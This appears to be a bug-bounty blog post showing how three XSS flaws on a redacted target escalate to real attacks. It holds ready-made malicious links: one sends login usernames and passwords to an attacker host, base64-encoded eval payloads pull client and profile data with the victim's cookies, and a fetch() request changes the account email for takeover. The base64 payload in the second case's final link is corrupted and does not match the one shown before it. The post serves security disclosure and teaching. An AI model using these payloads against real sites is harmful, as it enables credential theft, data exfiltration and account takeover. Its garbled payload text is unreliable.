Going beyond Alert with XSS

Summary

In this post, I’m going to discuss three XSS cases that I have escalated its vulnerability to higher severity in order to assess the possible risks. As you can see in the following modals:

Case 1 (Account Takeover)

So there’s a login page available via modal:

There’s a parameter in URL named next, it redirects the user after a successful login. Here’s the vulnerable code:

As it takes the value and replaces it in location.href method, a simple JavaScript payload like javascript:alert() is enough to trigger XSS.

In this case the XSS payload runs in the login page which risks the exposing the end users’ password and username as they enter their credentials. In order to do so I explored the HTML DOM elements to see if there is any useful method to continue the scenario, evidently we can use the document and getElementById() method.

Here, we catch their id from the login form.

This code will take the username field value for us

document.getElementById('username').value

Example of malicious link using getElementById() method:

https://vulnerable.domain/ClientRequiredFallback.aspx?view=Login&next=/javascript:alert(document.getElementById(%27username%27).value%20%2b%20%27|%27%20%2b%20document.getElementById(%27password%27).value%20)

Yet we are not able to get any further to get victims credentials, it only causes a popup alert on the victim’s browser, there are couple of ways to deliver end user input cross(to)our server, which is:

  1. XMLHttpRequest
  2. Fetch API
  3. Img src
  4. $.get (jQuery)
  5. etc

Before using any malicious crafted URL we should make sure that our server is able to capture the request which was sent on behalf of users’ browser

This one dumps the http request and by that the attacker will be able to steal other data like IP addresses and user agents besides the body.

Since the vulnerable target is using jQuery libary, I suggest using $.get() to send username/password field value to get sent over attackers server.

Final payload:

https://vulnerable.domain/ClientRequiredFallback.aspx?view=Login&next=/javascript:eval(document.location.hash.split(%22%23%22)[1])#$.get('https://attacker.domain/log/index.php?'+encodeURIComponent(document.getElementById('username').value)+'|'+encodeURIComponent(document.getElementById('password').value))

To make sure the payload is running efficiently, first we need to encode url Key characters. I suggest using encodeURIComponent

To avoid dealing with url encoding you can also execute the payload in base64 encoded format which I covered in case 2

Case 2 (PII leakage)

In this case, I have found a path that leads the URI value to get reflected inside the source page and JavaScript block, Here is the vulnerable code:

And here is the XSS payload I’m going to use:

https://vulnerable.domain/brokerage/AControlServlet?Action=ClientNotes&SubAction=clientNote&FUNCTION=Navigation&USERACTION=Client%20Notes&ACCOUNT_ID=1182889xxxx%22);-alert?.(window.origin)//&ACCOUNT_TYPE=AC&INPUT_CSRF_TOKEN=

Since the account_id value reflects inside a block, a payload like ;-alert () // would be enough for triggering XSS, but lets move on to more exciting parts and escalate this into something more than an alert , In the second scenario it’s not like the previous case where we could capture the credentials by triggering XSS in a login page, now we have to explore pages, looking for an endpoint to return personal data, etc. Due to the sensitive path we can use this request:

https://vulnerable.domain/brokerage/service/clientManagement/getClients?FUNCTION=Navigation&USERACTION=Client%20List

We have to send an HTTP POST request to the endpoint above, to do that we can use fetch() method this time. This payload will send the post request and return the response:

fetch('https://vulnerable.domain/brokerage/service/clientManagement/getClients?FUNCTION=Navigation&USERACTION=Client%20List', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'input_csrf_token': 17084748632633296 }, body: 'searchText=&page=1&start=0&limit=100' }).then(response => response.text())
  .then(data => alert(data));

We can see it worked just fine on the browser’s console. Next we are going to craft the malicious link to exploit the vulnerability. Here’s the base64 encoded payload:

ZmV0Y2goJ2h0dHBzOi8vdnVsbmVyYWJsZS5kb21haW4vYnJva2VyYWdlL3NlcnZpY2UvY2xpZW50TWFuYWdlbWVudC9nZXRDbGllbnRzP0ZVTkNUSU9OPU5hdmlnYXRpb24mVVNFUkFDVElPTj1DbGllbnQlMjBMaXN0JywgeyBtZXRob2Q6ICdQT1NUJywgY3JlZGVudGlhbHM6ICdpbmNsdWRlJywgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcsICdpbnB1dF9jc3JmX3Rva2VuJzogMTcwODQ3NDg2MzI2MzMyOTYgfSwgYm9keTogJ3NlYXJjaFRleHQ9JnBhZ2U9MSZzdGFydD0wJmxpbWl0PTEwMCcgfSkudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpCiAgLnRoZW4oZGF0YSA9PiBhbGVydChkYXRhKSk7

Leveraging the eval function is enough to exploit the hole:

https://vulnerable.domain/brokerage/AControlServlet?Action=ClientNotes&SubAction=clientNote&FUNCTION=Navigation&USERACTION=Client%20Notes&ACCOUNT_ID=1182889xxxx%22)-eval(atob('ZmV0Y2goJ2h0dHBzOi8vdnVsbmVyYWJsZS5kb21haW4vYnJva2VyYWdlL3NlcnZpY2UvY2xpZW50TWFuYWdlbWVudC9nZXRDbGllbnRzP0ZVTkNUSU9OPU5hdmlnYXRpb24mVVNFUkFDVElPTj1DbGllbnQlMjBMaXN0JywgeyBtZXRob2Q6ICdQT1NUJywgY3JlZGVudGlhbHM6ICdpbmNsdWRlJywgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcsICdpbnB1dF9jc3JmX3Rva2VuJzogMTcwODQ3NDg2MzI2MzMyOTYgfSwgYm9keTogJ3NlYXJjaFRleHQ9JnBhZ2U9MSZzdGFydD0wJmxpbWl0PTEwMCcgfSkudGhlbihyZXNwb25zZSA9NmzJlc2U0ZXQoCjRodGE2bIGFlcnQkYXRhI='))//&ACCOUNT_TYPE=AC&INPUT_CSRF_TOKEN=

Tip: after applying base64 encode function on a payload, apply url encode to avoid parsing special characters such as + which means space after URL decode.

Case 3 (PII leakage + ATO)

Straight to the point, here’s the XSS vulnearbility:

https://vulnerable.domain/client-token/authentication_transaction_timeout?redirect_uri=https://google.com&mfaFlow=123%3Cscript%3Ealert(origin)%3C/script%3E

Using XSS is not really effective in this page, so let’s dig an application a little bit more to find an endpoint or a page that may contain sensitive information of the user.

What are we going to do here? we should craft a malicious link to send a request on behalf of logged-in users to their profile panel, then we will catch the response.

Let’s use XMLHttpRequest

The final payload:

https://vulnerable.domain/client-token/authentication_transaction_timeout?redirect_uri=https://google.com&mfaFlow=123%3Cscript%3Eeval(atob(%27dmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwp4aHIub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7CiAgICBpZiAoeGhyLnJlYWR5U3RhdGUgPT0gWE1MSHR0cFJlcXVlc3QuRE9ORSkgewogICAgICAgIHZhciBkYXRhID0geGhyLnJlc3BvbnNlVGV4dAogICAgICAgIHZhciBkYXRhID0gZGF0YS5tYXRjaCgvY21zXC51c2VyID0gKFx7W1xzXFNdKz9cfSkvbSk7CiAgICB2YXIgZGF0YSA9IGRhdGFbMF0ucmVwbGFjZUFsbCgnXG4nLCAnJyk7CiAgICB2YXIgZGF0YSA9IGRhdGEucmVwbGFjZUFsbCgnXHQnLCAnJyk7CiAgICB2YXIgZGF0YSA9IGRhdGEuc3BsaXQoImNtcy51c2VyID0iKTsKICAgIHZhciBkYXRhID0gZGF0YVsxXS5yZXBsYWNlQWxsKCIgIiwgIiIpOwogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJodHRwczovL3Z1bG5lcmFibGUuZG9tYWluL2xvZy9pbmRleC5waHA/IiArIGRhdGE7CiAgICB9Cn0KeGhyLndpdGhDcmVkZW50aWFscyA9IHRydWU7Cnhoci5vcGVuKCdHRVQnLCAnaHR0cHM6Ly92dWxuZXJhYmxlLmRvbWFpbi9teWFjY291bnQvbXlkZXRhaWxzL3ZpZXdkZXRhaWxzJywgdHJ1ZSk7Cnhoci5zZW5kKG51bGwpOw==%27))%3C/script%3E

Let’s try an account takeover scenario. The website has update email feature. The image shows the request body to update email address:

You may notice there’s no CSRF protection here, if there was any protection, I would write a code to extract CSRF token since the XSS disables SOP. The payload to send HTTP POST request with a JSON body:

fetch('https://vulnerable.domain/custard/pubcustard/secure/customers', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/json' }, body: '{"customerProfile":{"contactInformation":{"postalAddress":{"street":"5 Nathan Falls","postalCode":"47222","city":"Port Luke"},"phoneNumber":"+353899675542"},"email":"[email protected]"}}' });

If the victim visits the link, It will lead up to changing their email address to attacker’s email. after that, the attacker will be able to use the forget password functionality to take over the account.

Conclusion

Many bug bounty programs deny the XSS escalation exploit scenarios and they won’t give credit to it therefore, I’ve accomplished to increase the severity and raise the bounty. In top of that, I believe XSS exploitation gives bug hunters and programs new insights.

P.s. Thanks to Bubanisepehr and AmirMSafari for the collaboration.

Leave a Reply

Your email address will not be published.